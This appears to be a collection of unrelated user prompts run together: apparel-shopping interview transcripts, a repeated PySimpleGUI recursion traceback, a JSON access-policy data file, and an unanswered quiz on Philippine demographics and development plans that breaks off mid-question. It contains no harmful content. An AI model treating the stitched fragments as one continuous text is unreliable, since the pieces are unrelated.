clothes while buying expensive clothes (mostly ethnic/party wear)\n\nQ. What factors influence your decision for an apparel purchase?\n\nA. Factors that influence my purchase decisions include Brand, quality, fit, style, type of cloth, price.\n\nInterviewer: Thanks Saloni. Your responses will help us in a better analysis.\n\nSaloni: Welcome. Do reach out if you have any more questions.\n\nTranscript 7\nIntroduce yourself (Basic intro of respondent and demographics)\n1. I am Indranil and I hail from Kolkata, West Bengal. Currently I am a employed with Exide\n\nWhich channel do you prefer while shopping for apparel, offline or online?\n2. I prefer offline since I find it more convenient\n\nWhat type of products do you generally buy online/offline?\n3. I mostly purchase apparels, food and books online. Other products are purchased offline by me\n\nWhat is the purchase frequency for your apparel purchases?\n4. I generally tend to purchase apparels every alternate month. Sometimes, I also purchase them based on the need\n\nWhat type of apparel you love to purchase more frequently?\n5. I read the reviews of the product, the brand, price and delivery timelines before purchasing the product\n\nWhy do you prefer while buying - online or offline? What parameters do you look at while buying?\n6. I prefer online for lower value items while prefer offline for items that are of high value\nDo you see prices online while buying offline or vice versa for comparison?\n7. I always see the prices while buying products online and compare them. I switch the channel if the product is available at a lower price\nWhat factors influence your decision for an apparel purchase?\n8. Brand, Price, Product Quality, Delivery Date\n\n\n\nTranscript 8\nIntroduce yourself (Basic intro of respondent and demographics)\n1. I am Yash and I hail from Mumbai, Maharashtra. Currently I am a posted as a Consultant with PwC India\n\nWhich channel do you prefer while shopping for apparel, offline or online?\n2. I purchase most of my products online as it is more convenient\n\nWhat type of products do you generally buy online/offline?\n3. I buy groceries, apparel, low priced electronics and online. For higher priced products I prefer offline\nWhat is the purchase frequency for your apparel purchases?\n4. I purchase apparels once a month\nWhat type of apparel you love to purchase more frequently?\n5. I purchase shirts and jeans frequently as they are required by me the most and can be easily determined online\nWhy do you prefer while buying - online or offline? What parameters do you look at while buying?\n6. I prefer online due to its convenience and lower prices than offline stores\nDo you see prices online while buying offline or vice versa for comparison?\n7. If the product is available at a long delivery date, then I purchase the product offline if the price difference is not much high\nWhat factors influence your decision for an apparel purchase?\n8. Price, Product Quality, Delivery Date, Reviews, Customer Support\n\n\n\nTranscript 9\n\nIntroduce yourself (Basic intro of respondent and demographics)\n1. I am Rana and I hail from Kolkata, West Bengal. Currently I am a posted as a Consultant with Deloitte USI\n\nWhich channel do you prefer while shopping for apparel, offline or online?\n2. Mostly online as I prefer convenience \n\nWhat type of products do you generally buy online/offline?\n3. Apparel or daily goods from online And electronics or any other items offline \n\nWhat is the purchase frequency for your apparel purchases?\n4. I generally tend to purchase apparels based on the season\n\nWhat type of apparel you love to purchase more frequently?\n5. The parameters that I look while purchasing is how early I receive the product, the reviews of product, feel and touch of the product, maximum discounts and the return policy \n\nWhy do you prefer while buying - online or offline? What parameters do you look at while buying?\n6. I prefer online for lower value items while prefer offline for items that are of high value\nDo you see prices online while buying offline or vice versa for comparison?\n7. Yes I see the prices online and use them for my comparison. I purchase the lowest one\n\nWhat factors influence your decision for an apparel purchase?\n8. Price, delivery date, exchange/repair policy" -'this is the error: File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10075, in read\n results = self.\\_read(timeout=timeout, timeout\\_key=timeout\\_key)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10146, in \\_read\n self.\\_Show()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 9886, in \\_Show\n StartupTK(self)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16866, in StartupTK\n \\_convert\\_window\\_to\\_tk(window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16753, in \\_convert\\_window\\_to\\_tk\n PackFormIntoFrame(window, master, window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 15866, in PackFormIntoFrame\n \\_error\\_popup\\_with\\_traceback(\'Your Window has an Image Element with a problem\',\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20931, in \\_error\\_popup\\_with\\_traceback\n \\_error\\_popup\\_with\\_code(title, filename, line\\_num, error\\_message, \\*args)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20950, in \\_error\\_popup\\_with\\_code\n event, values = window.read()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10075, in read\n results = self.\\_read(timeout=timeout, timeout\\_key=timeout\\_key)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10146, in \\_read\n self.\\_Show()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 9886, in \\_Show\n StartupTK(self)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16866, in StartupTK\n \\_convert\\_window\\_to\\_tk(window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16753, in \\_convert\\_window\\_to\\_tk\n PackFormIntoFrame(window, master, window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 15866, in PackFormIntoFrame\n \\_error\\_popup\\_with\\_traceback(\'Your Window has an Image Element with a problem\',\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20931, in \\_error\\_popup\\_with\\_traceback\n \\_error\\_popup\\_with\\_code(title, filename, line\\_num, error\\_message, \\*args)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20950, in \\_error\\_popup\\_with\\_code\n event, values = window.read()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10075, in read\n results = self.\\_read(timeout=timeout, timeout\\_key=timeout\\_key)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10146, in \\_read\n self.\\_Show()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 9886, in \\_Show\n StartupTK(self)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16866, in StartupTK\n \\_convert\\_window\\_to\\_tk(window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16753, in \\_convert\\_window\\_to\\_tk\n PackFormIntoFrame(window, master, window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 15866, in PackFormIntoFrame\n \\_error\\_popup\\_with\\_traceback(\'Your Window has an Image Element with a problem\',\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20931, in \\_error\\_popup\\_with\\_traceback\n \\_error\\_popup\\_with\\_code(title, filename, line\\_num, error\\_message, \\*args)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20950, in \\_error\\_popup\\_with\\_code\n event, values = window.read()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10075, in read\n results = self.\\_read(timeout=timeout, timeout\\_key=timeout\\_key)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10146, in \\_read\n self.\\_Show()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 9886, in \\_Show\n StartupTK(self)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16866, in StartupTK\n \\_convert\\_window\\_to\\_tk(window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16753, in \\_convert\\_window\\_to\\_tk\n PackFormIntoFrame(window, master, window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 15866, in PackFormIntoFrame\n \\_error\\_popup\\_with\\_traceback(\'Your Window has an Image Element with a problem\',\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20931, in \\_error\\_popup\\_with\\_traceback\n \\_error\\_popup\\_with\\_code(title, filename, line\\_num, error\\_message, \\*args)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20950, in \\_error\\_popup\\_with\\_code\n event, values = window.read()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10075, in read\n results = self.\\_read(timeout=timeout, timeout\\_key=timeout\\_key)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10146, in \\_read\n self.\\_Show()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 9886, in \\_Show\n StartupTK(self)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16866, in StartupTK\n \\_convert\\_window\\_to\\_tk(window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16753, in \\_convert\\_window\\_to\\_tk\n PackFormIntoFrame(window, master, window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 15866, in PackFormIntoFrame\n \\_error\\_popup\\_with\\_traceback(\'Your Window has an Image Element with a problem\',\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20931, in \\_error\\_popup\\_with\\_traceback\n \\_error\\_popup\\_with\\_code(title, filename, line\\_num, error\\_message, \\*args)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20950, in \\_error\\_popup\\_with\\_code\n event, values = window.read()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10075, in read\n results = self.\\_read(timeout=timeout, timeout\\_key=timeout\\_key)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10146, in \\_read\n self.\\_Show()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 9886, in \\_Show\n StartupTK(self)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16866, in StartupTK\n \\_convert\\_window\\_to\\_tk(window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16753, in \\_convert\\_window\\_to\\_tk\n PackFormIntoFrame(window, master, window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 15866, in PackFormIntoFrame\n \\_error\\_popup\\_with\\_traceback(\'Your Window has an Image Element with a problem\',\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20931, in \\_error\\_popup\\_with\\_traceback\n \\_error\\_popup\\_with\\_code(title, filename, line\\_num, error\\_message, \\*args)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20950, in \\_error\\_popup\\_with\\_code\n event, values = window.read()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10075, in read\n results = self.\\_read(timeout=timeout, timeout\\_key=timeout\\_key)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10146, in \\_read\n self.\\_Show()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 9886, in \\_Show\n StartupTK(self)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16866, in StartupTK\n \\_convert\\_window\\_to\\_tk(window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16753, in \\_convert\\_window\\_to\\_tk\n PackFormIntoFrame(window, master, window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 14741, in PackFormIntoFrame\n tclversion\\_detailed = tkinter.Tcl().eval(\'info patchlevel\')\n File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/lib/python3.9/tkinter/\\_\\_init\\_\\_.py", line 2372, in Tcl\n return Tk(screenName, baseName, className, useTk)\n File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/lib/python3.9/tkinter/\\_\\_init\\_\\_.py", line 2275, in \\_\\_init\\_\\_\n self.readprofile(baseName, className)\n File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/lib/python3.9/tkinter/\\_\\_init\\_\\_.py", line 2323, in readprofile\n if \'HOME\' in os.environ: home = os.environ[\'HOME\']\n File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/lib/python3.9/\\_collections\\_abc.py", line 770, in \\_\\_contains\\_\\_\n self[key]\n File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/lib/python3.9/os.py", line 676, in \\_\\_getitem\\_\\_\n value = self.\\_data[self.encodekey(key)]\nRecursionError: maximum recursion depth exceeded' -'Here is the JSON data file for that policy "{\n "Resources": {\n "myapp1": [\n {\n "Company": "CompanyA",\n "Country": "Norway",\n "InvoiceAmount": 200,\n "Name": "Invoice1",\n "ResourceID": "inv001",\n "ResourceType": "Invoice"\n },\n {\n "Company": "CompanyB",\n "Country": "Sweden",\n "InvoiceAmount": 300,\n "Name": "Invoice2",\n "ResourceID": "inv002",\n "ResourceType": "Invoice"\n },\n {\n "Amount": 1000,\n "Company": "CompanyA",\n "Country": "Norway",\n "Name": "PurchaseOrder1",\n "ResourceID": "po001",\n "ResourceType": "PurchaseOrder"\n },\n {\n "Amount": 1500,\n "Company": "CompanyB",\n "Country": "Sweden",\n "Name": "PurchaseOrder2",\n "ResourceID": "po002",\n "ResourceType": "PurchaseOrder"\n },\n {\n "Company": "CompanyA",\n "Country": "Norway",\n "Name": "Person1",\n "ResourceID": "p001",\n "ResourceType": "Person"\n },\n {\n "Company": "CompanyB",\n "Country": "Sweden",\n "Name": "Person2",\n "ResourceID": "p002",\n "ResourceType": "Person"\n }\n ],\n "myapp2": [\n {\n "Company": "CompanyC",\n "Country": "Finland",\n "InvoiceAmount": 400,\n "Name": "Invoice3",\n "ResourceID": "inv003",\n "ResourceType": "Invoice"\n },\n {\n "Company": "CompanyD",\n "Country": "Denmark",\n "InvoiceAmount": 500,\n "Name": "Invoice4",\n "ResourceID": "inv004",\n "ResourceType": "Invoice"\n },\n {\n "Amount": 2000,\n "Company": "CompanyC",\n "Country": "Finland",\n "Name": "PurchaseOrder3",\n "ResourceID": "po003",\n "ResourceType": "PurchaseOrder"\n },\n {\n "Amount": 2500,\n "Company": "CompanyD",\n "Country": "Denmark",\n "Name": "PurchaseOrder4",\n "ResourceID": "po004",\n "ResourceType": "PurchaseOrder"\n },\n {\n "Company": "CompanyC",\n "Country": "Finland",\n "Name": "Person3",\n "ResourceID": "p003",\n "ResourceType": "Person"\n },\n {\n "Company": "CompanyD",\n "Country": "Denmark",\n "Name": "Person4",\n "ResourceID": "p004",\n "ResourceType": "Person"\n }\n ]\n },\n "applications": {\n "myapp1": {\n "ResourceTypes": {\n "Invoice": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "CreateInvoice",\n "FieldTypes": [\n {\n "FieldType": "InvoiceAmount",\n "FieldTypeValues": [\n 100,\n 200,\n 300\n ]\n },\n {\n "FieldType": "Country",\n "FieldTypeValues": [\n "Norway",\n "Sweden",\n "Finland"\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "ReadInvoice",\n "FieldTypes": []\n },\n {\n "AzLocalRightName": "UpdateInvoice",\n "FieldTypes": [\n {\n "FieldType": "InvoiceAmount",\n "FieldTypeValues": [\n 200,\n 300\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "DeleteInvoice",\n "FieldTypes": []\n }\n ]\n },\n "Person": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "CreatePerson",\n "FieldTypes": [\n {\n "FieldType": "Age",\n "FieldTypeValues": [\n 18,\n 21,\n 25,\n 30,\n 40\n ]\n },\n {\n "FieldType": "Country",\n "FieldTypeValues": [\n "Norway",\n "Sweden",\n "Finland"\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "ReadPerson",\n "FieldTypes": []\n },\n {\n "AzLocalRightName": "UpdatePerson",\n "FieldTypes": [\n {\n "FieldType": "Age",\n "FieldTypeValues": [\n 21,\n 25,\n 30\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "DeletePerson",\n "FieldTypes": []\n }\n ]\n },\n "PurchaseOrder": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "CreatePurchaseOrder",\n "FieldTypes": [\n {\n "FieldType": "OrderAmount",\n "FieldTypeValues": [\n 500,\n 1000,\n 1500\n ]\n },\n {\n "FieldType": "Company",\n "FieldTypeValues": [\n "ABC Inc",\n "XYZ Corp"\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "ReadPurchaseOrder",\n "FieldTypes": []\n },\n {\n "AzLocalRightName": "UpdatePurchaseOrder",\n "FieldTypes": [\n {\n "FieldType": "OrderAmount",\n "FieldTypeValues": [\n 1000,\n 1500\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "DeletePurchaseOrder",\n "FieldTypes": []\n }\n ]\n }\n }\n },\n "myapp2": {\n "ResourceTypes": {\n "Invoices": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "ReadInvoice",\n "FieldTypes": []\n }\n ]\n },\n "People": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "ReadPerson",\n "FieldTypes": []\n }\n ]\n },\n "PurchaseOrders": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "ReadPurchaseOrder",\n "FieldTypes": []\n }\n ]\n }\n }\n }\n },\n "resourceAccesses": {\n "myapp1": {\n "user1": [\n {\n "AzLocalRightName": "Read",\n "Constraints": {\n "Country": "Norway",\n "InvoiceAmount": 100\n },\n "Name": "Invoice 001",\n "ResourceID": "2c1ed12e-038d-4f2f-b183-1aa8fcbcd6d4",\n "ResourceType": "Invoice"\n },\n {\n "AzLocalRightName": "Create",\n "Constraints": {\n "Country": "Sweden",\n "PurchaseOrderAmount": 200\n },\n "Name": "Purchase Order 001",\n "ResourceID": "559c6e04-ba0c-4c1d-9d57-7da755da28c7",\n "ResourceType": "PurchaseOrder"\n }\n ],\n "user2": [\n {\n "AzLocalRightName": "Create",\n "Constraints": {\n "Country": "Norway",\n "InvoiceAmount": 200\n },\n "Name": "Invoice 002",\n "ResourceID": "e56fa32c-9601-4c88-b9f9-02d66e0efbdb",\n "ResourceType": "Invoice"\n },\n {\n "AzLocalRightName": "Read",\n "Constraints": {\n "Country": "Finland",\n "PurchaseOrderAmount": 100\n },\n "Name": "Purchase Order 002",\n "ResourceID": "43e0e035-95d8-4c54-a4c4-4f3c0f37b57e",\n "ResourceType": "PurchaseOrder"\n }\n ]\n },\n "myapp2": {\n "user1": [\n {\n "AzLocalRightName": "Read",\n "Constraints": {\n "Country": "Norway"\n },\n "Name": "Document 001",\n "ResourceID": "00cabb75-868c-4061-bf17-f39a0132dccb",\n "ResourceType": "Document"\n },\n {\n "AzLocalRightName": "Update",\n "Constraints": {\n "Country": "Sweden"\n },\n "Name": "Document 002",\n "ResourceID": "2e4dfb4c-f8b7-4c51-9ca3-74ea6488618d",\n "ResourceType": "Document"\n }\n ],\n "user2": [\n {\n "AzLocalRightName": "Delete",\n "Constraints": {\n "Country": "Finland"\n },\n "Name": "Document 003",\n "ResourceID": "b71f1f92-90eb-42c8-8a71-4969e9d2b2e8",\n "ResourceType": "Document"\n },\n {\n "AzLocalRightName": "Read",\n "Constraints": {\n "Country": "Norway"\n },\n "Name": "Document 004",\n "ResourceID": "ae83b0a9-d925-4c4b-b2b4-3e3cde9813a1",\n "ResourceType": "Document"\n }\n ]\n }\n }\n}"' -'. Based on the report of the Philippines National Demographic in 2017, what is the most common source of drinking water among both urban and rural household?\n2. What percentage of women in the Philippines are currently employed according to the report of the Philippines National Demographic in 2017?\n3. Which region has the least number of women exposed to mass media?\n4. Which of the following is the most popular form of mass media among women based on the report of Philippines National Demographic in 2017?\n5. The following are objectives of the Philippines National Demographic and Health survey except:\n\n6. What is the percentage of women age 15-49 years old have never been married?\n\n7. If Filipino women could choose the family size, what is the ideal number of children for a family based on the Philippines National Demographic report in 2017?\n\n8. Which region has the highest percentage of women who have completed secondary school or more based on Philippines National Demographic report in 2017?\n\n9. What is the most common occupational sector among women in the highest wealth quintile based on Philippines National Demographic report in 2017?\n\n10. What is the median age at first marriage among women age 25-49 years old based on Philippines National Demographic report in 2017??\na. 22.5\n\n11. Which of the following refers to the period of time after the birth of a child and before the resumption of sexual intercourse?\n\n12. Which of the following regions has the highest rate of Teenage childbearing based on the Philippines National Demographic in 2017?\n\n13. Which of the following refers to any birth fewer than or equal to the number of children a woman reported as her ideal number?\n\n14. Which of the following refers to a group of people who have been selected for a survey?\n\n15. What disability or condition in babies is caused by maternal alcohol use in the pre-natal period?\n16. It is an institution in the Philippines that safeguards the intangible heritage since 1995 because they ensured its transmission to the next generation of indigenous peoples who wish to learn skills from various culture bearers.\n17. How many ethnolinguistic groups in the Philippines.\n18. According to the Statistics Time as of 2023, among the 235 countries/territories in the world, the Philippines ranked 13th in population with an estimated population of \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_.\n19. Increased access to economic opportunities for MSMEs, cooperatives, and Overseas Filipino (OFs) is crucial if more business activities are to be created to reduce inequality and poverty. What does MSMEs mean?\n20. One of the important parts of the Philippines Development Plan (PDP) is to ensure that all Filipinos, especially the poor and underserved, will have long, healthy, and productive lives; lifelong learning opportunities; and improved income-earning ability. What is this plan?\n21. Which of the following is not included as the vulnerable people in the society?\n22. The number of HIV cases detected per day rose from 4 in 2010 to 26 in 2016 and majority of the cases can be found among 15-34 years old and in highly urbanized areas in the Philippines, which of the following regions with the highest number of HIV cases?\n23. It is an act (RA 10687) ensures and develops a policy to rationalize tuition and school fees for higher education. \n24. In the Philippines, a \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_ is a person below 18 years of age but is unable to fully care for himself from abuse neglect, cruelty, exploitation, or discrimination because of a physical or mental disability or condition.”\n25. There have been numerous programs to eliminate child labor, and all these initiatives were combined into one program called HELP ME which stands for H-health, E-education and training, L-livelihood, P-prevention, protection and prosecution and ME-\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_.\n26. Republic Act 11148, also known as “Kalusugan at Nutrisyun ng Mag-Nanay Act”, aims to support the nutrition and health of both mother and child by providing funds for the said purpose. How many days will this program cover?\n27. In the acronym LGBTQIA, what does the letter I and A stand for?\n28. The old name of the government agency responsible for the policy-making, planning coordinating and monitoring of programs related to population is PopCom. This means \\_\n29. The Commission on Population used to be under the Department of Health. Now, it is under the National Economic Development Authority but with a new name. What is it?\n30. The Department of Health issued Administrative Order 2018-0014 which is the Strategic Framework and Guidelines for implementing FOURmula one + for health. These covers the four Strategic pillars namely Financing, Regulation, Service Delivery and \\_\\_\\_\\_\\_\\_\\_\\_\\_.\n31. In the area of child health, which among the diseases is a common cause of death in young Filipino children?\n\n32. According to UNICEF survey conducted in the year 2018, which among the following is the leading cause of child illness.\n\n33. According to the United Nations Office for the Coordination of Humanitarian Affairs survey in 2018, what country has the world’s largest humanitarian crisis?\n\n34. In the realm of contraceptive knowledge and use, according to the survey, which among the contraceptive method is mostly known and commonly used?\n\n35. In a survey conducted among married women age 15-49 in the Philippines, which region has the highest prevalence of modern contraceptive use?\n\n36. Term which indicates that women were informed at the time they started the current episode of method use about the method’s side effects, about what to do if they experience side effects, about what to do if they experience side effects, and about other methods they could use.\n\n37. It pertains to the probability of dying between birth and the first birthday.\n\n38. It pertains to the probability of dying within the first month of life.\n\n39. Responsible Parenthood and Reproductive Health Act of 2012 is otherwise known as \\_\\_\\_\\_?\n\n40. According to the survey among married women, how many percent are using a method of contraception? \n\n41. Among the regions in our country, which has the highest percentage of caesarean section delivery?\n\n42. This is a program initiated by Population Commission with its goal to prevent teen pregnancy and reduce the prevalence of sexually transmitted infections using online and mobile platforms.\n\n43. Philippine HIV and AIDS Policy Act was one of the most critical policy interventions accomplished in 2018. This new act seeks to strengthen government response to the growing number of HIV/AIDS cases in the country. This is law is otherwise known as \\_\\_\\_\\_\\_\\_.\n\n44. On the governments’ effort to eliminate violence against women and children, which among the following laws has the highest recorded cases base latest survey conducted.\n\n45. Human Immunodeficiency Virus (HIV) in the Philippines according to the latest data shows that this disease is primarily transmitted through various means. Which among the choices has the highest rate?\n\n46. The first medium-term plan that seeks to lay a stronger foundation for more inclusive growth, a high-trust and resilient society and a globally competitive knowledge economy.\n\n47. Ambisyon 2040 is the collective long-term vision and aspirations of the Filipino people for themselves and for the country in the next \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_.\n\n48. The third largest investing country worldwide.\n\n49. In 2016, the Permanent Court of Arbitration ruled in favor of the Philippines on the case of the West Philippine Sea.\n\n50. What is the life expectancy at birth in Asia by the year 2050?\n\n51. \\_\\_\\_\\_\\_\\_\\_\\_\\_ is the ability of machines and systems to acquire and apply knowledge and carry out intelligent behavior.\n\n52. The Philippines most populous regions are \\_\\_\\_\\_\\_.\n\n53. In 2020 Philippine’s population was 109.6 million. What is the Philippines’ population projected to be in 2045?\n\n54. How many languages are spoken in the Philippines.\n\n55. Ambisyon Natin 2040 represents the vision and aspirations of the Filipino people for a Matatag, Panatag na Buhay at \\_\\_\\_\\_.\n\n56. What region in the Philippines has the highest Gross Regional Domestic Product (GRDP)?\n\n57. The Philippine Development Plan target to reduce poverty incidence from 21.6% in 2015 to \\_\\_\\_\\_\\_ by 2022.\n\n58. What year has been declared as the hottest year on record with the global average temperature of 1.1 degree Celsius?\n\n59. The DOST has produced high-resolution flood hazard maps through their Project NOAH. What is the meaning of NOAH.\n\n60. Who is the president who approved and adopt the Ambisyon 2040 by signing Executive Order No. 5.\n\n61. What does the acronym CARP stand for?\n\n62. What does the acronym DILG stand for?\n\n63. Which pillar focuses on increasing the country’s potential economic growth?\n\n64. Which Philippine Development Plan pillar is committed to set the foundation of building a high-trust society?\n\n65. What is the first micro-satellite launched into space in 2016 by the Philippine government as part of the PHL-Microsat program?\n66. What program promotes greenspaces in cities?\n67. What center provides technical services and enabling environment for interdisciplinary and collaborative in various nanotechnology applications?\n\n68. What project was initiated to help manage the risks of natural hazards and disasters?\n\n69. Which facility combines fundamental and applied research to develop health diagnostics, therapeutics, DNA forensics, preventive products, and improved crop varieties?\n\n70. Which facility addresses the requirements for producing high-quality and globally acceptable drugs?\n\n71. Which law aims to institutionalize the development of an effective and sustainable forest management strategy based on the allocations of forestland uses?\n\n72. Which act streamlines standards, processes, and regulations for property rights, valuation, and taxation?\n\n73. What was established through a collaboration between the local government of Davao City and IBM Philippines, creating a dashboard allowing authorized government agencies to use analytics software?\n\n74. Which act seeks to promote demand-side management and incentivizes energy efficiency projects?\n\n75. Which policy aims to help achieve a safe, secure, competitive, dependable, integrated, environmentally sustainable, and 